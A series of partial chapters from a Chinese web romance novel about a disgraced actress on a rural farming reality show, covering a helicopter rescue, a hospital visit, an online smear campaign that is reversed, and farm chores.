综艺本来就是拍日常而已,副导演就没怎么上心关注,他说:“是小李和小潘负责拍的,我当时在棚里和后期搞剪辑,就没注意。” 其实这种情况真的不怪任何人,不可能每时每刻都监督着他们的行踪。 农村山多,连绵不绝,不熟的人走进去绕个三天三夜也可能出不来。 韩小希只能说:“我瞧着他们是往公路的北面去的。” 小屋侧旁不远处就有一条公路,东西向,大家去镇上或是城里都要通过这条路。 路的两旁有大量的土地山林,程三好他们应该就是去这些地方了。 张导想要召集人去找,但是人手不够,想了想还是打给了江砚。 “江总,有两个嘉宾疑似在山中迷路,几个小时过去迟迟不归,要暂停拍摄去找吗?” 江砚正在翻程三好的个人资料,闻言停下动作,视线从纸张上的一张图片移到手机屏幕上。 “打电话给消防,我也会派人去帮助寻找。”他起身,拿起座椅上的衣服,边往外走边说。 张导:“好的。” 那时他没想到,江总所谓的派人,竟是几张私人直升机。 看到头顶飞翔的玩意儿,消防员和在场众人的头发被吹得张扬,艳羡的目光中,心里也忍不住骂声:MD,天下有钱人多个我怎么了! 直升机上有摄像头,会将画面实时转播到江砚手中的平板上。 张导坐在车后座,伸长脖子看。 平板突然移开,副驾驶座上的男人将它放到车玻璃内部的置物台上,自己往后一靠。 韩小希等人挤在驾驶座可以清楚地看见屏幕,江邱站在外面推了推眼镜,也没有说什么。 张导副导演对视一眼,竟然从江总的动作中察觉出了一点诡异的“善良”。 不过人家可能只是单纯拿着费手,也不喜欢众人簇拥着他。 直升机的螺旋声音很大,村子里的人都仰头看,张大着嘴神情惊奇。 肖乐保晕了半个小时就醒过来,打起精神一看周围,程三好竟然还没回来。 想起电视里看的,他整个人顿时担忧起来。 大哥 24. 送人 《身体不说谎》全本免费阅读 潘哥笑够了,安慰似的挥了挥手:“我相信你,接下来我去爬树吧。” 小李让开身体,不再说什么。 有过前人的经验,潘哥直觉光是这样硬攀怕是难于青天。 他想了想,伸手要:“给我一把镰刀。” 程三好将自己手中的递过去。 潘哥在动手之前,先合掌低声说了一句:“对不住。” 言毕,就挥着镰刀砍上了树木,直到挖出一个可以落脚的凹槽点,如此反复,上手扒拉住树干,很快就攀了上去。 高达十几米的松树上端就比较光滑了,潘哥没有去到顶端,而是顺着一个分支,将身上的外套脱下来系在树枝上,然后就双手抱着摇晃起来。 直升机没离开,一直在这几座山间徘徊。 韩小希看见画面里有一处显眼的白色,树枝也轻微地晃动,没有随风的风向。 “你们看,”她指着平板上的某一点,“那棵树上是不是有一件衣服?” 张导凑近,几乎立马断定:“是的,肯定是他们听到直升机声音在吸引注意力。” 江砚也看到了,他拿过一个对讲机,说了几句话。 程三好他们不一会儿就感觉头顶的嗡鸣声越发靠近了,但因为森林里没有平地,只能放下救生梯。 潘哥率先拽住绳子,缓缓往上爬。 程三好让肖乐保先上去,才提着一捆湿柴单手拉住绳子。 韩小希有点哭笑不得:“真是什么时候了,还记着木头呢。” 在时刻关注肖乐保的许琪一脸担心:“他好像是发烧了,脸红得不正常。” “瞧着是的,”韩小希退开点身体,皱眉打算回到屋内,“我去找找,看看能不能找到退烧药。” 他们上镇买回来过一些常备的药,箱子放在堂屋的壁龛上。 赵柯默默地烧水,许琪也离开了车。 张导安静片刻,突然说:“对了,江总,我们应聘了个广告导演,接下来的工作要交给他吗?” 出乎意料的是,男人淡淡道:“我来。” 他没有解释,张导亦然不敢过问,只是道:“好的。” 直升机最终停到了小屋右边的道路上,程三好率先出了舱门,将湿柴放到菜园子外面。 肖乐保龇牙咧嘴地往小屋走,韩小希见着他,立马道:“是发烧了吗?” “嗯,有点。”少年挺直了点身体,强撑着说。 “这里有药,还有碗粥,”韩小希拉过一条凳子示意他坐下,“吃完东西再吃药,这样不伤胃。” 肖乐保感动得不行,擦了擦不存在的眼泪,双手捧着碗,见温度正好,索性用嘴喝起来。 “来,三好,”韩小希见门边探进来一个脑袋,笑着说,“也有你的份儿的。” 程三好点头,先去洗了手,才喝起了粥。 这粥混着南瓜、花生、碎枣,吃起来带着点微微的甜,很适合犒劳饥饿已久的胃。 一碗粥下去,四肢百骸都温暖起来。 程三好眼睛有些舒坦地微眯,被味道捕诱到了,放下碗问:“这谁做的?” 赵柯将一杯热水放到她面前,另一杯给肖乐保,不急不慢地说:“我。” “没想到啊,”程三好翘着嘴角,看上去心情还不错,“你不是不会做饭吗?” 赵柯转身看着她的眼睛,良久蹭了下鼻尖,移开视线:“只会这一道。” 程三好对他竖大拇指,厚着脸皮说:“五星级大厨对你表示认可。” 赵柯抬眼,看到她的手臂,微弯的嘴角倏地变得死沉,说:“你手怎么了?” 厨房的韩小希听到这句话,急忙往堂屋走。 程三好面色比以往白很多,但是她的神情太自然了,以至于大家都忽视了她的手臂,以及沾着血迹的衣服。 喝粥的肖乐保从碗里抬起头,才想起来似的说:“啊,大哥被黄鼠狼咬了!” 韩小希一下就慌乱起来,走到她的身边,说:“那得赶紧去医院啊,这要打疫苗吧。” 赵柯冷静道:“今天不赶集,没有车。” “那,”韩小希绞尽脑汁,“再去借三轮车?” 程三好的整个右手臂已经麻了,温润的耳朵一直白到脖颈,人瞧着脆生生的。 她不敢拿自己的生命开玩笑,只能看着赵柯:“可以吗?” 之所以问他,因为只有他会开。 拜托人时,程三好不会知道她浑身透着一种乖劲。 赵柯犹如烧开的水壶,直觉得热意上涌,让他整个人顿时局促起来。 “我这就去,”他快步跑到了门边,还侧脸说了一句,“等着。” 江邱见旁边的人突然冷着气场,眼底藏着点不悦。 他也不知道男人是怎么了,只知道在程小姐说完那句话后,江砚本来散漫的神情忽然变得有点紧绷。 “老板,斯尔先生约见的时间快到了。”他看了看腕表,只能提醒。 江砚目光从屋里的某人身上移回来,没说话。 江邱:“……”老板你堕落了。 他也不知老板在等什么,只能干巴巴地一会儿看天一会儿看地。 赵柯跑到村里,照样找那个汉子借。 然而这一次对方摇了摇头,说:“不是我不想借,而是借给别人了。” 赵柯眉头皱得可以夹死一只蚊子,问:“那你知道哪一家还有这样的三轮车吗?” 汉子挠了挠头,思索着说:“有是有,但是没有敞篷,你们也要的话,我打电话联系主人家。” 空气中传来一声声闷雷,上午刚下过雨,天气预报显示不久也要下雨,没有敞篷的话,不可能淋着去淋着回来。 赵柯捏紧手,只能说:“谢谢你,不过那种我们暂时没有需求。” 他说完,转身朝小屋跑,神情有些凄然。 临到屋前,他出了汗,有点不敢看对方的眼神:“三轮车被借走了。” 程三好倒是没什么情绪,刚想开口说,随便消消毒就可以了,就被门外倾轧而来的高大身影笼罩。 江砚的一双眸子只有女生,慢条斯理地说:“被黄鼠狼咬了不是小事,更何况你是我节目的嘉宾。” 屋里的几人动作都不自然,主要男人的气势实在太盛,眉弓又很凶。 站在门槛边,几乎遮住了往房间里跑的光亮,宽肩窄腰撑起了西装大衣,简直就是个行走的衣架子。 程三好微仰头注视着男人,等待他的下文。 “所以,”江砚让开点身体,“我会负责送你去打疫 25. 给领带 《身体不说谎》全本免费阅读 然而江邱二人下了车,却迟迟不见程三好推车门。 江砚靠近车窗,还未上手敲,里面的人就降下了。 不知是否是他的错觉,对方的神情看上去有些窘迫。 程三好的肩颈都麻了,她只能保持着这个微侧头的姿势,镇静道:“其实,我的身体发麻动不了了,可能需要——” “咔擦——”她没有说完,江砚就已经察觉到她的不对,果断上手打开车门。 没了车门的支撑,程三好不受控制地往外倾斜。 刚才能按动车窗完全是因为在手臂彻底失去灵活前,她就将手指放到车窗键上,几乎是戳上去的。 江砚急忙伸手接住人,搂住她的腰将人从座椅上抱了出来。 程三好的眼睛一阵抽搐,最后索性闭上,为了安全着想,就下意识地去抓男人衣襟。 摸了大半天,只觉得布料十分光滑,一点褶皱都没有,根本抓不到。 她想睁眼,然而眼睛完全睁不开了,一着急,她就抿嘴。 感受到男人抱着她走得飞快,满眼黑而腾空的感觉让她不舒服,于是手又摸索着,企图找到个牢固的东西。 江邱意识到问题不对,已经朝前跑去喊医生了。 男人感受着胸口的小手手指还在不停地游走,痒得他想不合时宜地笑起来。 他停下步伐,颠了颠人,将马甲里的领带拽出来塞到她手中。 低头见她像抓住什么宝贝一样抱在胸前,虽然闭着眼,但是看得出来她舒坦安心了。 江砚几不可见地笑了下,被说薄凉的桃花眸如缀星辰,中和了冷硬的五官,连锋利的眉弓也显得可靠起来。 他抱着人按照赶来的医生指示去到一张病床上,放下时一起身就感觉到了拉扯。 因为忘了这茬事,起身的时候动作比较迅猛,而程三好又是完全僵硬的状态,于是他冷不丁地被一下牵引了过去,要不是反应快,用手撑在床栏上,指不定要撞着人。 不过此时的这姿势也好不哪里去,他的脸与下面的人之间几乎只有一指距离。 他试探着起身,纹丝不动,于是改用一只手握住领带,一只手照样撑在床栏,低声与她说道:“医生来了,放手。” 程三好已经意识模糊了,他的话也听不清楚,虽然僵硬感减缓,但是她依然无法控制地握紧手中的东西。 “要放开,医生才能给你解毒。”男人只好再次说道。 江砚也新奇自己竟然对她那么有耐心,眼见时间一分一秒地过去,他只好将领带结抽松,然后从脖子上取出来。 护士们立马推着程三好进急诊室,那根蓝色的领带与白色的病床行成了鲜明的对比。 这一番折腾,江砚的衬衫也丝滑如初,倒是头发没有那么规整,额头稍些凌乱的碎发,衬得他多了点烟火气。 江邱在办理住院手续,站在收费站等待的时候,他转头想找老板,发现他就坐在手术室前面的长椅上。 椅子矮,他的大长腿只能岔开,双手交叉撑在膝头。 江砚此时其实挺不平静的,因为就在刚才他又回忆起了一点高中经历。 他现在也不知是释然了还是遇着程三好的原因,能回忆起过往,但他很少流鼻血或者头痛了。 江砚细细地捋,能想起高一时的班主任叫蒋华,一个攀炎附势的高知数学老师。 她的教学能力的确很强,不过她把谁叫到办公室,男高时期的江砚好像因此事感到生气。 “他”接下来好像把谁揍了,对方告了状,但是蒋华没追究他。 能回忆起来的片段都很零碎,几乎是毫无逻辑地东一段西一段,江砚想顺着往下想,然而像是活生生被人拦截去路,什么法子都不能越过那座高无止境的墙。 江邱交完费用来到老板身侧站着。 “去买些女孩子能穿的衣服。”男人没继续想,直起身往后靠在座椅背上,对着江邱这样说道。 江邱知晓老板是要买给程小姐的,但是他不知道尺寸,只好开口问道:“买多大的码?” 江砚回想了下刚才抱人的情景,体重很轻,应该在84斤左右,腰细细的,他单手就可以握住,再联系起她本人的官方身高,他对江邱说:“休闲套装,L码的。” 江邱简直不敢询问他是如何给出这个数字的,只是在转身往商场走的时候,突然推了推眼镜,镜片后的眼睛闪烁着奇异的亮色。 去了没多久,手术室的红灯啪的暗淡,门缓缓打开,程三好戴着呼吸面罩被推出来。 “怎么样?”男人起身靠近医生。 “的亏送来的及时,现在已经没大碍,输完液后,她就可以回家。” 江砚向医生说了声谢谢,跟着病床来到一个房间。 病房是三人房,另外两张床上都有人。 程三好被推到窗边,现在还没醒。 护士没见过这么帅气的男人,与他说话眼睛总是乱飘:“待会儿她这一瓶完了,你按这个铃,我来给她拔针。” 江砚没看人,径直坐到床边一张凳子上嗯了声。 护士移开视线又移回来,问:“这是你的女朋友吗?她真的好幸福。” 江砚懒散地坐着,混不在乎地说:“不是。” 护士眼睛一亮,确认这是个没主的,于是就破有点激动地说:“能否给我你的电话号码?” “不能。”男人轻轻拉过被子一角盖在程三好的手上,才不急不慢地道。 护士知道这样的男人自己是不可能拥有的,但是她还是不死心:“为什么?” “我太太醒来后会生气。”江砚勾着嘴角,有点痞气。 护士:“不好意思,冒犯了。” 她尴尬地赶紧出了病房,但是另外病床上的患者和家属却一脸八卦。 其中的一个大婶儿用方言打趣:“哎哟,你们城里人就是会称呼哟,太太我只在电视里听过,我差点认为你们是什么大家族豪门之类的呢。” 她照顾的病人是她的婆婆,闻言吐出葡萄籽,将手上的汁水擦在白色被子上,嗤笑一声:“你当豪门那么好遇见啊。” 大婶神情轻蔑:“也是。” 真出身豪门的江砚从始至终都没说话,倒是已经买衣服回来的江邱忍不住问:“你们看到墙壁上的字了吗?” 房间正面有一台电视机,但是显眼的是它上面一点的几个炫彩大字。 大婶见他一身精英打扮,疑心他在嘲讽自己,为了证明似的说:“秋水镇卫生院,江财集团赞助。怎么?这几个字我还不认 26. 节目播出 《身体不说谎》全本免费阅读 江砚没有移开视线,眼眸锁住人:“领带。” “啊。”程三好才想起来,急忙低头寻找,一看,竟然还被自己握在手中。 她摊开手,发现这条领带成了条皱巴巴的“酸菜”。 程三好嘴角向两侧牵拉绷紧,是个很不好意思的表情。 男人眼不眨地盯着,不错过她脸上任何一个变化。见人看过来,他随意地扭转过眸光。 “这条领带多少钱?我赔你吧。”程三好直觉可能赔不起,但还是说了,准备负责任。 江砚:“没多少钱。” 程三好坚持:“多少?” 江砚:“十万。” 其实是二十万,他砍半了。 程三好倒吸一口冷气,虽然她是个明星,但她几年没接到戏和商务了,靠茄子平台的打赏每次只能分到七成,七成中还有两成要被公司抽走,所以她其实是个“小贫民”。 “要不,”她乖巧地笑起来,很是没有骨气,“我洗干净还你。” 看着男人的目光渐渐戏谑,程三好急忙保证:“我洗衣服的功力很高,平凡的衣服能在我手中化腐朽为神奇,尤其是这种皱——领带,我能让它恢复出厂时的光彩,还你一条崭新如初的。” 江砚就这样听着她满脸正经地扯蛋,等她说完,低头转了转腕表,没有急着表态。 他拿捏着程三好,其实是想再听听她用这种装乖的语气与他说话,然而对方竟然很快反悔道:“开玩笑的,回头我还你。” 程三好这样说自己都觉得不太厚道,虽然她没良心,那也是要看对象是谁。 “……”江砚沉默了下,起身将那套休闲衣服递给她,“换上送你回去,至于领带——” “我没那么金贵,洗洗就能用。” 这句话说到程三好的心坎上了,在她看来这条领带质地讲究,价钱昂贵,回去洗一洗、熨烫下还能用。但她没有用自己的想法绑架人,因为每个人对于消费的观念都是不一样的。 衣服她没接,只是伸腿下了床。 穿好了鞋子,她直起身,看江砚还是执拗地递着衣服,她突然叹了口气。 ——这人还是一如既往地在某些方面很细心。 不论是谁,想来是招架不住的。 男人低头去看她的神情,问:“不舒服?” “没,”程三好败下阵似的接过来,转身往卫生间走去,边走边懒洋洋地说,“欠你个人情。” 小屋的肖乐保吃完药后就回床上睡着了,其余人去地里干活儿。 韩小希见赵柯从程三好走后,一直不怎么高兴的样子,以为他还在担忧,于是说:“赵柯,你也不要太过担心,三好肯定会平安归来。” “嗯,”赵柯只是这样说,觉得这句话有点冷漠,随即补充了一句,“我相信她,并没有担心。” 韩小希自认为看破不说破,笑了声说:“好吧,我也信你。” 临近傍晚的时候,江砚把人送到小屋。 程三好提着一袋子药开门正要下车,脚步一顿,回头冲后座上的人说:“要不要喝杯茶再走?” 江砚从笔记本里抬头看她,不知为何眼底有笑意:“不了。” 程三好本就出于礼貌一问,当下也没再说什么,关上车门往小屋走。 在那之后,男人没再来。 翌日,天气晴朗。 肖乐保的烧退了,整个人生龙活虎,一大早起来就是上蹿下跳的。 “起床了!”他站在门外喊,不停地喊,“出太阳了!” 韩小希已经起了,正在刷牙,听着动静,笑笑道:“这孩子不会被病傻了吧。” 程三好昨晚因为伤口疼,故而睡得不好,边像索命的女鬼般耷拉着肩膀往外走,边不回头地说了句:“我去揍猴。” 韩小希笑得不行,捶了捶桌子。 许琪完全是被吵醒的,她拉着被子将自己裹住,凝神听外面的动静。 果然,没过多久,肖乐保的哀嚎声传遍了整个秋水村。 “啊!大哥!” “饶命!” “啊!我错了!” 许琪听着听着,反倒自己先心疼起来。 不会被揍得很惨吧。 她哐的坐起身,掀开被子下床,穿着一身睡衣快走几步,打开门出去了。 看清大坝里的场景,她愣住,嘴巴微微张开。 肖乐保见大哥出来后,立马就闭上嘴不说话,怂怂地盯着人。 然而出乎他意料的是,走到眼前的人只是拍了拍他的肩膀,语重心长道:“既然你不睡觉,那大家都不要睡了吧。” “什么意思?”肖乐保觉得肩头恍若千斤重。 程三好揣回手:“继续叫,营造出我欺负你的惨状。” 肖乐保根本不敢动,扯着嗓子就喊。 于是许琪出来,就见他跟个傻子一样,冲着节目组临时搭建的房屋叫。 她皱眉:要不还是喜欢别人去吧,这玩意儿尽丢人。 闹腾的清晨过去,大家围着桌子坐在一起吃早餐,简单的韭菜饺子,冷冻速食的那种。 程三好吃完放下碗,脸上气色好了很多。 “待会儿我得去还凤婶儿的米,总共是十斤。” 韩小希咀嚼着食物,咽下去才问:“不是借了五斤吗?” “当初答应婶儿的,说是还双倍。” “这样啊,”韩小希了然,转瞬又说,“十斤你拿不动吧?要不我和你去?” 小屋离凤婶儿家不远,可手提这十斤大米,还是比较考验人的力气的。 程三好点头说:“行。” 她们二人离开后,剩余的三人也没偷懒。 因着昨天的努力,所以今天没花多少时间就挖完了一块两亩的土豆地。 到目前为止,没挖的土豆只剩下两亩了。 五人都聚集到这块地上,劲儿往一处使,势必要将其全部挖完。 晚上八点,《种田吧·秋冬篇》第一期节目准时在相关卫视和网播平台上同步播放。 不少因为宣传的路人纷纷进行观看,起初弹幕很和谐。 “肖乐保年度最大显眼包吧哈哈。” “好多人都没见过。” “素人节目吧。” “救命,发现一个超级无敌好看的姐姐,想入坑。” “话说那什么许琪好矫情,作为农村人被创到了。” “啊,风景看上去好好噢。” “好喜欢,好治愈!” 27. “洗白” 《身体不说谎》全本免费阅读 江邱推开高级VIP套间病房,里面宽敞,除了有一张大床,还有沙发、茶几皆有的待客厅。 江老爷子病倒了,这会儿正在睡。 江砚坐在沙发上陪床,低头看文件,见江邱的神色,他放下文件,示意他说。 江邱低声道:“那程小姐的黑料被扒出来,现在很多的观众开始抵制这档综艺,甚至有人表示要抵制我们公司其他的剧,因为我们任用了她拍综艺。” 江砚拿过一旁的手机,打开翻了一下娱乐新闻。 良久,他只是说:“再等等。” “等程小姐澄清吗?”江邱不解,担心道,“万一那些黑料都是真的,我们不就竹篮打水一场空吗?” “我自有定夺。” 江邱感受到语气里的冷意,倏地闭上嘴,没再说什么。 节目的画风已经完全变了,几乎没人在认真地看,都在从程三好的动作里抠出细节,再进行一波黑。 算是应了那句话,一旦认定你这人坏,那你所有行为都是有罪的。 程三好的私信被挤爆,往日里发的微博以及在茄子上的视频都没能幸免。 短短几个小时,由于她的粉丝数飙升太过迅猛,直接让她一个糊咖登上今日涨粉榜第一名。 不过全是抵制黑她的人就是了。 韩小希看不过去,几次想上微博为她说话,但是都被程三好拒绝了。 屋里开着灯,大家都没睡。 在舆论发酵到最顶峰时,程三好发消息给肖乐保。 “来吧。” 肖乐保将早已编辑好的微博发出去: 被好友疯狂催,本人起来一看微博,就见自己上了热搜,还有大帮人在为我不值,心疼我的遭遇,从而前去网曝程三好,我真的很感谢你们,但是不得不上来对你们说清楚当年的事。 这位你们眼中抑郁的副导演姓郭,起初我还没察觉不对。 虽然他总是朝我一个大男人发来一些暧昧的话,但是我没有回复他,心想戏拍完,我就麻溜地滚。 然而恶心的事来了。 网剧杀青那天,剧组聚餐,我没有防备的心,就多喝了些酒。 毕竟始终认为自己是个成年男性,而且众人都在,所以哪怕喝醉了也不担心。 后来剧组的人还要去KTV唱歌,我没醉,但是头痛剧烈,就没跟着他们去,还打电话给我的兄弟,让他来接我。 我始终闭着眼睛靠在桌子上,黑暗中,大家好像都离开了,四周都很安静。 就在这时,我感觉到有一只手在抚摸我的大腿。 我当即吓得往后退,不料被厚重的椅子绊倒,一下就跌坐在地上。 随即那双手的主人就满身酒气地朝我扑来。 那个人就是郭某。 慌乱中,我只能推人,然而酒意上涌,我竟然手脚发软,硬生生地被那人亲在了脖颈。 那瞬间真是太可怕了,感觉心脏都停止了跳动。 在我愣神的几秒,那只咸猪手竟然准备脱我的裤子。 !!!!! 那一刻我一大男人真的要哭出来了! 然后就在此时: “砰——” 响亮的拳头砸在郭某的侧脸上,他朝一旁倒去,我却被一人拽着胳膊拉起来。 关键时刻出场拯救我的人就是程三好。 不敢想象如果不是她去而后返,接下来我会发生什么。 所以你别说我舔着脸叫人家大哥,就是叫爸爸,我也愿意。 更何况是我自己主动叫的,人家从始至终都没强迫过我。 这件事发生后的第二天我就告诉了导演,他是个专心拍戏的人,知道郭某是这样的人后,就联系制片人将他从剧组开除。 如果你要问,为什么要到这个才发微博澄清? 那我要说,早几年我就发过,但是没有一人信,反而被黑粉带节奏,说是我又被程三好霸凌了,胁迫发的这条微博。 人微言轻,不想大哥让更多的人误解,我只能删了那条微博。 如今,接着节目的热度,舆论将我们二人再度顶上风波。 我想,这就是个上天给的机会,要努力抓住这个风口浪尖。 写这篇文章,我花了很长的时间,就是不想再让你们继续误解我们的关系。 如果有好好看节目的,定然会发现,其实我们之间的关系很自然,很中二,很快乐不是吗? 说了很多,能阅读到这的朋友,我也要向你们说声感谢。 天理昭昭,我相信公道自在人心。 下面附上我与郭某的聊天截图以及那个包厢的监控视频。 看着肖乐保发来的视频,网友的心全程揪紧,能感受到他的那种惊恐无助,看完后,真的有一瞬间,想要穿进去剁了那人渣。 “我为我刚才骂程三好的话道歉,就在评论区守着,看谁敢说她一句不好。” “MD,看得我拳头硬,想揍人。” “谁知道会不会是他被程三好收买了呢?” “那你拿出证据啊,不要有张嘴就出来逼*逼。” “黑粉真会挑事,怪不得人家删除当年的微博。” “滚,我们自会有判断。” “可是郭什么那副导演的确抑郁退圈了啊。” 看了肖乐保的这篇文章,好多人在黑与路人,黑与粉之间横跳。 然后很多人就跑去疯狂艾特副导演,让他贴出医院的诊断书。 种田吧小组的四人都出来力挺,证明程三好并未苛待他们更遑论霸凌。 其中的吃瓜网友发现,那什么许琪可是津市的许家幺女,这样的人怎么可能被程三好这种人收买,所以信息的真实性极速飙升。 #程三好事件反转#词条飞快霸占文娱热搜前三,且一直稳居不下。 这简直是大好的热度,程三好没有错过,开始发微博澄清背刺公司的谣言,并贴出了和经纪人王艳的聊天截图,以及天价违约金合同。 “继续蹲反转。” “我有预感,这将是年度最佳反击,有爽文的感觉了。” “靠了,这女人好酷,被公司雪藏四年,抓住这个综艺的曝光,有理有据地针对黑料洗白,我真的佩服不已。” “黑转粉,当初被那些黑料气得不行,才跑去欺负人家,就是不想让程三好这样的人好过。但是现在竟然踏马的告诉我,这是一场公司对艺人的谋划。小茶茶,我现在挺你! 28. 乖乖的女鹅 《身体不说谎》全本免费阅读 “可不吗?女鹅一开始直播很正常的,要不是黑粉故意捣乱,也不至于好好那样说话。” “来晚了,我有录播那些视频。但是我不太懂,到底要怎么做。” “老哥,你发出来,然后我会去找营销号加大宣传。”方一明还没睡,对着电脑打字。 “好的。” 看到视频里的人,好几个妈粉差点直接飙泪。 “可恶,那么可爱不要命了。” “我看综艺了,姐姐还是一如既往地懒洋洋的,好像考拉嘿。” “爱死她身上的那个劲儿了,姐姐什么时候才能火起来啊。” 几人创建了小号,将这些视频发出去,再加上营销号的主推,这几个程三好早期的视频播放量激增,点击量惊人。 天边放射*出第一缕阳光,村子里鸡鸣狗叫,笼罩的暗色逐渐褪去,被金色一一渡染。 韩小希率先醒来,本意是拿起手机看时间,瞥到页面众多未读的消息,只好点开查看起来。这一看,差点震惊得她滚下床。 “天!”她边看边起身,语气激动,“三好,快醒醒,你火了!” 韩小希眼见拍床栏没用,索性往楼梯上爬了几步,直接拉开床帘,对着她耳朵喊:“三好,快起来!” 她还未继续喊,肖乐保直接拿着个手机站在她们卧室的门口,哐哐地敲。 “大哥,大哥!你火了!哈哈,快起来!” 他们并没有夸张,因为程三好早期的几个视频现在已经稳稳居于热榜,网友们讨论得虽然没有吃瓜时来得激情,但是实在太变态了。 “救命!好乖,想rua。” “想生她!” “又白又嫩,是女高吗?” “靠,和后面的直播对比起来,莫名地爽,怼死黑粉。” “话说这些视频是四年前的了吧,没想到那么模糊的画质,人的漂亮半分不减。” #这是什么爽文女主#,#看程三好茶言茶语莫名地爽怎么回事#,#恶意剪辑害人不浅#…… 现在舆论已经偏向了程三好,黑粉们着实没料到事情的发展会是这样,他们但凡发一句不好的话,立马就会被拉出来鞭尸,骂得他沉默。 微博粉丝还在不停地上涨,已经来到了惊人的三百万。 对于程三好这么个三十八线外的糊咖来说,那的确是一夜爆火了。 大家带着好奇的心去考古她,发现那些没有恶意剪辑的视频里,她整个人佛系又清冷,绝佳的外貌搁娱乐圈,按理说早应该火了。 唯一的一部网剧是女二,饰演得也很好,花絮里和肖乐保的互动让人捧腹大笑,《种田吧》综艺更是让他们看到了一个不做作、冷静自持的程三好。 “喂喂喂,这里她好乖!” 路人转粉的小姐姐看见综艺里,程三好与凤溪的对话,那个画面狠狠戳中了她的心。 “一本正经的开玩笑,这是可爱死谁!” 想来是看到程三好对着肖乐保说萝卜精那里了。 “我承认,我也是个颜狗,别说许琪看呆,要我直接扑上去。” “前面还真别说,不介意加我一个吧。” “哈哈哈。” 当粉丝的占比远远超过黑粉,路人就不容易被带着节奏跑偏,安安静静地看起了综艺。 江邱看着短短一个晚上,血雨腥风的反转,这一刻他不得不对程三好表示佩服。 程家没有管这个女儿,基本是放任她自生自灭;乐娱传媒刻意打压,不给她接戏;三无明星,弥天黑稿。 如此糟糕的处境,还能耐心下来沉浮,等到那个机不可失的时刻,才一举推翻。 “这程小姐厉害,是把我们节目当跳脚板了吧?”他不由惊叹出声。 江砚看着早期视频里的人,没接这个话题,半晌才说:“医生怎么说?” “江董的身体不宜操劳,理应静养,不可再情绪波动了。” “嗯。” 江砚起身,准备去医院探望已经醒来的江老爷子。 …… 那头的程三好被他们这么一叫,觉是睡不成了。 她顶着乱糟糟的一头长发支楞起来,全程眯眼困倦地浏览完现在网上对她的讨论。 完了,她扯着嘴角,半死不活地说:“我知道了。” 韩小希眨巴着眼睛:“你不高兴?” “高兴。” 程三好是真高兴,但是昨晚凌晨才睡的人,这会儿早上七八点吧,没睡够,浑身累得情绪全无。 她对于成为大明星从始至终都没有追求,只是希望将自己身上的黑料“洗白”,当程伟国用外婆威胁她时,她可以利用巨大的明星效应对他进行抗衡。 一个正直、善良、努力勤恳、路见不平,拔刀相助,偶尔摆烂的人说的话怎么可能是扯谎呢,程三好臭不要脸地这样想。 想到这,她突然来精神了,迅速穿好衣服,说:“今天我高兴,给你们炖玉米排骨汤。” 韩小希笑着让开身体。 “土豆挖完了。” 吃饭的时候,赵柯突然说了这么一句。 程三好双手捧住碗在喝汤,闻言,没抬眼说:“是啊。” 屋里温度正在上升,驱散了潮湿。 韩小希扒拉着米饭,想了想开口:“玉米现在其实也可以收割了。” “嗯,”程三好吹了吹汤,才说,“这样安排吧,我与赵柯搭建菜园,你们打电话给王师傅,让他来把剩下的土豆收走。至于玉米,等忙完这些事情再说。” “行。”几人应道。 那天迷路后带回来了一捆湿柴,肯定是不够的,但是这一次程三好和赵柯去到了,挖完的四亩大田旁边的山林里再砍,没敢离小屋太远。 两人砍了许多,拿着回到菜园子旁边。 他们想要的是一个方形的菜圃,所以得提前测量好长短,将四只角上做好标记,优先插入木棍。 竖着插的木棍之间隔着十厘米,算是比较密集的。 按照这样的标准,二人很快插满了整整一排。 接下来就是横着搭的长棍,基本是和边长一样的,之间的空隙就可以放大点。 程三好让他举着棍子,自己则拿过铁丝和钳子,将其固定在竖着的一些木棒上。 如此往复,四边都以同样的法子搭建,还特意留了个园子门,也是用这些木头制作的,固定一边在菜园子围栏上,另一边轻轻拉了搭在栏杆上就可以了。 小屋右边的马路上很热闹,是肖乐保他们在与王 29. 买三轮车 《身体不说谎》全本免费阅读 凤叔就道:“你说。” “我们想要朝你买点农家粪用来种菜,可以吗?” “有是有,但是不用买了,这粪多着呢,直接送你们。” “怎么可以?”程三好不同意,“一码是一码。” 凤叔一笑,说:“你这女娃,说了就是了,那点子粪不值钱,也根本用不着买。我送你,就当是个人情,日后指不定也有拜托你们的地方。” 程三好犹豫一瞬,才抬眼看着人说:“那好。” 跟着凤叔的脚步,两人来到了他家后院。 说是后院,更像是一片宽敞的田野,田野边修建着几座房屋,里面关着牛羊之类的牲畜。 种有菜的一块地里堆放着干粪,现在正在进行化学作用,冒出肉眼可见的热气。 这玩意儿叫堆肥,是农村人每家必备的,靠牛的粪便、玉米秸秆、杂草之类的东西共同作用而成。 程三好说不臭是宽慰赵柯的,现在他靠近了,才发现,其实蛮臭的。 凤叔找来一个大大的铁铲,将他们带着来的两个箩筐都装满。 箩筐上宽下窄,不是很大,跟个装酒的坛子一样。 见他装完,程三好拿过一旁的扁担,正要蹲身去挑,赵柯夺了过去,轻声说:“我来。” 她也没推拉,由着他去。 回到小屋,程三好找到一把锄头提着,才去到菜园子。 第一步就先划分一定的区域来决定种植包菜。 松土过后,掏出一条小沟,是为了到时候来采摘,可以走在上面不踩着菜。 顺着一条线挖出一个个小坑,赵柯带着胶皮手套,抓着一把手掌大小的粪丢进去,然后将买来的包菜秧苗竖着放进去,扒拉泥巴盖住,用手杵紧稳固住它。 两人干活利落,基本没说什么话。 肖乐保他们卖完土豆后,来到菜园子一看,地里已经有了整齐的蓝绿色包菜苗,一眼望去舒心极了。 “大哥!”他手放在园子门上喊了声,神色看上去很开心,“我们都卖完了!” 程三好抽空抬头看了他一眼,因为离得有点距离,就只是抬手示意了一下没说话。 “我们现在要干嘛?”肖乐保举手也挥了挥,才对韩小希说道。 “尽快搭建猪圈吧,母猪一直放在韩老伯那里也不是很好。” 八亩土豆,最后卖了一万块,韩小希觉得一直跟别人借车很不好,还是要拥有属于小屋的一辆三轮车。 她考虑这个问题很久了,当下就道:“要不我们先去镇上买辆车?毕竟拉修建猪圈的水泥、砖头都要工具。” “也是,”肖乐保来到大坝,说,“刚好今天赶集,可以打车去镇上。” 往卧室里走,准备去换衣服的时候,他突然想起来一件事。 “话说我们中,只有赵柯会开三轮车欸。” 韩小希笑了笑:“没关系的,到时候买了,卖家会用车帮我们送回来的。” 肖乐保放下心来:“原来如此,那赶紧的吧,待会儿怕是没车了。” “嗯。” 许琪跟在韩小希身后进了屋,看她在脱衣服,自己却没动。 犹豫半晌,她还是开口道:“要不我就不去了吧?” “嗯?”韩小希停下动作,扭头看她,“怎么了?” 